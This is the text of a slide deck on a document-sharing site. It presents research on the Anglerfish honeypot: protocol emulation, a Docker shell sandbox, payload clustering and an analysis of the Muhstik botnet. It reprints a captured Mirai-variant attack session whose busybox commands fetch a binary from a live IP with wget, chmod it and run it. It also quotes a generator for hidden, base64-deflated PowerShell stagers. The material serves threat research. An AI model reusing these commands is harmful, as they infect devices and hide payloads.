书签 分享 收藏 举报 版权申诉 / 37
上传文档赚钱

类型通过Anglerfish蜜罐发现未知的恶意软件威胁课件.pptx

  • 上传人(卖家):三亚风情
  • 文档编号:3176142
  • 上传时间:2022-07-28
  • 格式:PPTX
  • 页数:37
  • 大小:1.39MB
  • 【下载声明】
    1. 本站全部试题类文档,若标题没写含答案,则无答案;标题注明含答案的文档,主观题也可能无答案。请谨慎下单,一旦售出,不予退换。
    2. 本站全部PPT文档均不含视频和音频,PPT中出现的音频或视频标识(或文字)仅表示流程,实际无音频或视频文件。请谨慎下单,一旦售出,不予退换。
    3. 本页资料《通过Anglerfish蜜罐发现未知的恶意软件威胁课件.pptx》由用户(三亚风情)主动上传,其收益全归该用户。163文库仅提供信息存储空间,仅对该用户上传内容的表现方式做保护处理,对上传内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知163文库(点击联系客服),我们立即给予删除!
    4. 请根据预览情况,自愿下载本文。本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
    5. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007及以上版本和PDF阅读器,压缩文件请下载最新的WinRAR软件解压。
    配套讲稿:

    如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。

    特殊限制:

    部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。

    关 键  词:
    通过 Anglerfish 蜜罐 发现 未知 恶意 软件 威胁 课件
    资源描述:

    1、通过通过Anglerfish蜜罐发蜜罐发现现未知未知的的恶意恶意软软件威件威胁胁Anglerfish蜜罐运行状况支持TCP/UDP全端口监控,已经模拟telnet,ssh,http等30种应用协议,50+IoT设备和服务器漏洞,支持对应用协议Fuzz testing等。通过Anglerfish蜜罐捕获大量Botnet并在360Netlab Blog中披露,包括Mirai,http81,Mykings,DDG,Hajime,TheMoon,IoT_reaper,Satori,Muhstik,HNS等,其中http81,IoT_reaper,Satori属于首次发现。捕获2个0day,分别是Hua

    2、wei HG532 RCE(被Satori Botnet首次利用,CVE-2017-17215)和Gpon Home Routers RCE(被TheMoon Botnet首次利用,暂无CVE编号)。目录 我对蜜罐的理解和需求 如何去设计开发Anglerfish蜜罐程序 在蜜罐程序设计开发中攻防对抗的案例 实例分析Muhstik Botnet 我对蜜罐的未来展望一.我对蜜罐的理解和需求 蜜罐协议模拟是基础,蜜罐数据分析是核心,捕获恶意样本是其目的 能够在TCP/UDP全端口捕获未知的恶意扫描软件威胁 能够模拟影响面广泛的应用协议和漏洞,优先模拟IoT,服务器等漏洞场景 蜜罐程序方便协议扩展,蜜

    3、罐数据结构方便数据分析SYN ScanclientserverPort ClosedclientserverPort Open以SYN端口扫描为例,当蜜罐程序未开放相应端口时,只能接收到扫描程序的SYN包。First Dataclientserverclientserverclient send data firstserver send data first当蜜罐开放相应端口时,如果不能和扫描程序完成交互,蜜罐程序只能捕获到来自扫描程序的 第一个包甚至没有数据交互。TCP ConnectionHoneypot(server)(active open)SYN_SENTESTABLISHEDES

    4、TABLISHEDFIN_WAIT_1SYN_RCVDTIME_WAITCLOSEDFIN_WAIT_2writeread(blocks)read returnswrite read(blocks)read returnssocket,bind,listen LISTEN(passive open)accept(blocks)Scanner(client)socketconnect(blocks)Interactive Data FlowSimulator蜜罐程序开发的基础工作就是模拟协议CLOSE_WAITLAST_ACK二.如何去设计开发Anglerfish蜜罐 借鉴前人的经验 Angle

    5、rfish蜜罐程序框架 模拟应用协议/漏洞 Fuzz testing Anglerfish蜜罐数据结构借鉴前人的经验Blackhole是Github上的一个开源项目,我的灵感来源于此,并在此基础上开始设计和开发在模拟协议和漏洞过程中,吸取了Kippo,Dionaea等开源项目经验,积极使用现有的应用协议库使用Python语言开发,基于Gevent模拟Server端应用协议REFERENCE1https:/ rmi,mssql,docker,oreintdb,mysql,ethman,cisco smi,ethereum,redis,weblogic,jenkins,activemq_web,m

    6、ctp,apache couchdb,spark,openfire,elastic search,memcache,mongodb,hadoop_hdfs,hadoop_yarn,netis等;目前已经模拟的漏洞/设备(只展示了部分)每个每个RCE漏洞都会被漏洞都会被Botnet发挥得淋漓尽致!发挥得淋漓尽致!Docker shell在蜜罐中经常会遇到Linux Shell命令,我这里推荐使用Docker容器去执行Shell命令,并返回结果。Docker shellprint+Error in docker_shell:+str(e)return error#force to remove c

    7、ontainertry:container.remove(force=True)except Exception as e:pass#!/usr/bin/env python#-*-coding:utf-8-*-#Github/Twitter:zom3y3#Email:import dockerdef docker_shell(command):docker shellresult=if command.strip()=:return result else:#client=docker.DockerClient(base_url=unix:/var/run/docker.sock)clien

    8、t=docker.from_env()command=/bin/sh-c +command+try:container=client.containers.run(busybox,command,network_disabled=ENABLE_NETWORK,detach=True,auto_remove=True,remove=True)result=container.logs()except Exception as e:比如在模拟telnet蜜罐时,结合telnetsrvlib+docker_shell 就可以很快速地实现高交互telnet蜜罐。REFERENCE1https:/blo

    9、g.findmalware.org/2017/03/30/the-telnet-honeypot-research-review-and-suggestions-for-application/2https:/ result通过RSS Feed关注最新安全资讯通过Slack API创建RSS Feed bot,实时推送exploit-db,securiteam,twitter等安全媒体发布的安全资讯,关注最新IoT,Botnet,RCE漏洞等信息。Fuzz testing响应任意端口的TCP SYN Packet根据协议特征,永远返回正确响应(http,mysql,mssql,redis,me

    10、mcache等)返回预定义或者随机的Payload特征库集合clientserveralways answer syn flagclientserveralways reply true flagPONGPING遇到的问题 如何判断/提升Fuzz testing成功率 只能对已知的应用协议进行Fuzz testing Fuzz testing不成功导致会话停止Anglerfish蜜罐数据结构root admin enable shell sh/bin/busybox iDdosYou/bin/busybox ps;/bin/busybox iDdosYou/bin/busybox cat/pr

    11、oc/mounts;/bin/busybox iDdosYou/bin/busybox echo-e x6bx61x6dx69/proc /proc/.nippon;/bin/busybox cat/proc/.nippon;/bin/busybox rm/proc/.nippon/bin/busybox echo-e x6bx61x6dx69/sys /sys/.nippon;/bin/busybox cat/sys/.nippon;/bin/busybox rm/sys/.nippon/bin/busybox echo-e x6bx61x6dx69/tmp /tmp/.nippon;/bi

    12、n/busybox cat/tmp/.nippon;/bin/busybox rm/tmp/.nippon/bin/busybox echo-e x6bx61x6dx69/overlay /overlay/.nippon;/bin/busybox cat/overlay/.nippon;/bin/busybox rm/overlay/.nippon/bin/busybox echo-e x6bx61x6dx69 /.nippon;/bin/busybox cat/.nippon;/bin/busybox rm/.nippon/bin/busybox echo-e x6bx61x6dx69/de

    13、v /dev/.nippon;/bin/busybox cat/dev/.nippon;/bin/busybox rm/dev/.nippon/bin/busybox echo-e x6bx61x6dx69/dev/pts /dev/pts/.nippon;/bin/busybox cat/dev/pts/.nippon;/bin/busybox rm/dev/pts/.nippon/bin/busybox echo-e x6bx61x6dx69/sys/kernel/debug /sys/kernel/debug/.nippon;/bin/busybox cat/sys/kernel/deb

    14、ug/.nippon;/bin/busybox rm/sys/kernel/debug/.nippon/bin/busybox echo-e x6bx61x6dx69/dev /dev/.nippon;/bin/busybox cat/dev/.nippon;/bin/busybox rm/dev/.nippon/bin/busybox iDdosYoucd/bin/busybox cp/bin/echo ccAD;ccAD;/bin/busybox chmod 777 ccAD;/bin/busybox iDdosYou/bin/busybox cat/bin/echo/bin/busybo

    15、x iDdosYoucat/proc/cpuinfo;/bin/busybox iDdosYou/bin/busybox wget;/bin/busybox tftp;/bin/busybox iDdosYou/bin/busybox wget http:/172.81.134.239:80/AB4g5/Josho.arm-O-ccAD;/bin/busybox chmod 777 ccAD;/bin/busybox iDdosYou./ccAD selfrep.wget;/bin/busybox AndSm0keDoinks/bin/busybox wget;/bin/busybox tft

    16、p;/bin/busybox iDdosYou/bin/busybox wget http:/172.81.134.239:80/AB4g5/Josho.arm5-O-ccAD;/bin/busybox chmod 777 ccAD;/bin/busybox iDdosYou./ccAD selfrep.wget;/bin/busybox AndSm0keDoinks rm-rf aupnpb;ccAD;/bin/busybox iDdosYou这是一个Mirai变种发送给Anglerfish蜜罐的攻击数据,我把它这些数据定义为Payload,把这个会话 过程赋予独立的session id。A

    17、nglerfish蜜罐数据结构把Mirai变种的整个攻击会话转换成3个表保存到数据库中,分别是sessions,downloads,payloads,另外下载到的恶意样本以文件形式保存。sessions主要记录网络连接的会话ID,会话时间,网络五元组等 downloads主要记录样本下载信息,包括会话ID,样本URL,样本md5等 payloads主要记录payload数据信息,包括会话ID,payload,payload_md5,payload_ssdeep等sessiontimestampsrc_ipsrc_portdst_ipdst_portprotocol0033536614a78c1

    18、9935bce9e6ec5c6992018-07-04 21:31:16172.81.134.23933714x.x.x.x23TCPsessionurlmd5sha256file_typesucess0033536614a78c19935bce9e6ec5c699http:/172.81.134.239:80/AB4g5/Josho.mips1a8fb9f09f9ELF ped1sessionpayload_md5payload_datapayload_ssdeep0033536614a78c19935bce9e6ec5c6995921cbc07469f380c69c6ebc70c1bcc6

    19、BCJ3AQSc.AAA=48:Xy/7r4F.kBsUJ三.在蜜罐设计开发中攻防对抗的案例 恶意样本的下载方式 扫描程序payload数据编码/压缩/加密 扫描程序中的漏洞检测机制 扫描程序中的蜜罐检测机制恶意样本的下载方式 http/https协议 ftp协议 sftp协议 nc协议 以echo 16进制分段保存文件 http下载时需指定User-Agent/Query等 通过Shell/VBScript/JScript等脚本语言变量赋值下载URLPayload数据编码/压缩/加密def generate(self):encoded=helpers.deflate(self.psRaw()

    20、payloadCode=echo offnpayloadCode+=if%PROCESSOR_ARCHITECTURE%=x86(payloadCode+=powershell.exe-NoP-NonI-W Hidden-Exec Bypass-Command Invoke-Expression$(New-Object IO.StreamReader($(New-Object IO.Compression.DeflateStream($(New-Object IO.MemoryStream(,$(Convert:FromBase64String(%s),IO.Compression.Compr

    21、essionMode:Decompress),Text.Encoding:ASCII).ReadToEnd();%(encoded)payloadCode+=)else(payloadCode+=%WinDir%syswow64windowspowershellv1.0powershell.exe-NoP-NonI-W Hidden-Exec Bypass-Command Invoke-Expression$(New-Object IO.StreamReader($(New-Object IO.Compression.DeflateStream($(New-Object IO.MemorySt

    22、ream (,$(Convert:FromBase64String(%s),IO.Compression.CompressionMode:Decompress),Text.Encoding:ASCII).ReadToEnd();)%(encoded)return payloadCodedecompressed=zlib.decompress(base64.b64decode(payload),-15)扫描程序中的漏洞检测机制扫描程序在检测漏洞的过程中往往会判断返回的数据中是否包含特定的字符串,来判断这个设备 是否存在漏洞。根据这个特征,利用Fuzz testing技巧可以帮助蜜罐程序与扫描程序

    23、完成协议交 互。扫描程序中的蜜罐检测机制mirai loader代码中通过读取echo binary文件中的elf结构来判断目标系统cpu架构类型,在mirai 爆发初期,传统蜜罐都没有模拟“/bin/busybox cat/bin/echo”这条命令,导致几乎没有蜜罐能捕 获mirai样本。四.实例分析Muhstik Botnet 介绍Muhstik Botnet扫描行为的基本情况 介绍如何部署Drupal和Gpon蜜罐 介绍payload聚类分析和Botnet扫描检测算法Muhstik Botnet扫描行为分析从4月14号开始,360Netlab监控到Muhstik Botnet集成两个最

    24、新公布的漏洞 Drupal RCE和GponRCE来进行蠕虫式传播。根据这两个漏洞事件,我们写了两篇文章僵尸网络 Muhstik 正在积极利用 Drupal 漏洞 CVE-2018-7600 蠕虫式传播和GPON 漏洞的在野利用(一)Muhstik 僵尸网络来披露 Muhstik Botnet。截至目前,我们共发现Muhstik Botnet有11种漏洞检测模块,分别是:Drupal,Gpon routers,Weblogic,Wordpress,Webdav,DasanNetwork Solution,Webuzo,ClipBucket,phpMyadmin,Jboss,DD-WRT。Muh

    25、stik Botnet扫描行为分析Muhstik Botnet感染情况通过与安全社区的合作,我们可以观察到Muhstik Botnet的分布情况。其中值得一提的是Gpon路由器 的Bot 99%都是来自于Mexico/MX,并且感染端口都是在8080。这是因为Muhstik Botnet利用的PoC只 能在这个版本的固件中有效地工作。我们也联合安全社区关闭了Muhstik Botnet部分C2服务器,但是与 Muhstik Botnet之间的攻防对抗还没有结束。以下是Muhstik Botnet感染量统计:Gpon24000+Webdav5000+phpMyAdmin4000+Wordpres

    26、s3000+Webuzo70+REFERENCE1https:/ server蜜罐,后续只需要增加相应的静态资源文件即可模拟 任意web程序。在模拟Drupal蜜罐时,可以根据Drupal 程序特性在HTTP Header中加入Drupal特征。(此处仅演示其中一个技巧)部署Gpon蜜罐示例在部署Gpon蜜罐时,将404页面返回返回上述Gpon特征,并且将web server随机变更为 GoAhead-Webs。(此处仅演示其中一个技巧)当访问http server上一个不存在的资源文件的时候,正常的http server会返回HTTP 404 状态码。在http server协议模拟中,利用

    27、Fuzz testing的技巧在http 404页面设置一些预定 义的特征或者根据http请求返回相应的特征,并且修改成HTTP 200状态码。Gpon RCE Payload聚类分析在对5月22号Gpon RCE Payload数据利用ssdc算法实现聚类后,再通过统计计算每个Group和ssdeep所占百分比,利用Highcharts生成Donut Chart。Gpon RCE Payload聚类分析在对Gpon RCE Payload数据聚类后,再通过计算Group,ssdeep和session的关系,利用D3.js生成Force Directed Graph(力导向图)。Gpon RC

    28、E Payload聚类分析更多应用场景:通过对比两组ssdeep聚类结果发现新增的Group/ssdeep,再通过分析payload内容可以检测出新的Payload变种。REFERENCE1https:/ uniq_srcip和session的线性关系,生成线性相关系数,这个系数值越大就越符合Botnet port特征。Botnet扫描检测算法2当Botnet扫描检测算法检测到异常时,通过Slack Botnet Alarm 发送告警信息。在一个时间窗口内,计算每个port中payload md5的uniq_srcip和session的线性关系,生成线性相关系数,这个系数值越大这个payload md5就越符合Botnet payload特征。五.我对蜜罐的未来展望 实时结合互联网安全漏洞,捕获更多未知的恶意软件威胁 以Fuzz testing的思想去与扫描软件智能交互 希望有更多的人投入到互联网扫描数据安全研究工作中谢 谢!

    展开阅读全文
    提示  163文库所有资源均是用户自行上传分享,仅供网友学习交流,未经上传用户书面授权,请勿作他用。
    关于本文
    本文标题:通过Anglerfish蜜罐发现未知的恶意软件威胁课件.pptx
    链接地址:https://www.163wenku.com/p-3176142.html

    Copyright@ 2017-2037 Www.163WenKu.Com  网站版权所有  |  资源地图   
    IPC备案号:蜀ICP备2021032737号  | 川公网安备 51099002000191号


    侵权投诉QQ:3464097650  资料上传QQ:3464097650
       


    【声明】本站为“文档C2C交易模式”,即用户上传的文档直接卖给(下载)用户,本站只是网络空间服务平台,本站所有原创文档下载所得归上传人所有,如您发现上传作品侵犯了您的版权,请立刻联系我们并提供证据,我们将在3个工作日内予以改正。

    163文库